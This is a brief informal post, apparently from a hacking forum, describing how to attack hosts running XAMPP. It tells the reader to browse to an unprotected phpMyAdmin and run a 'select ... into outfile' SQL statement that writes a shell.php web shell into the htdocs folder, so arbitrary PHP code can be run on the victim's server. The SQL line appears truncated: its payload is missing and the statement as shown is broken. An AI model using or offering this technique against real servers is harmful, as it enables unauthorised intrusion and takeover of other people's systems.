xampp vuln. One of the vulns of xampp is that the phpmyadmin is unprotected. Therefor, if you can find a host running xampp you can most likely exploit it by entering i.p.a.d.r/phpmyadmin From there you can do all forms of nasy stuff, for example: Run in SQL; select " into outfile "C:\xampp\htdocs\shell.php" This enables you to run whatever php code you wish.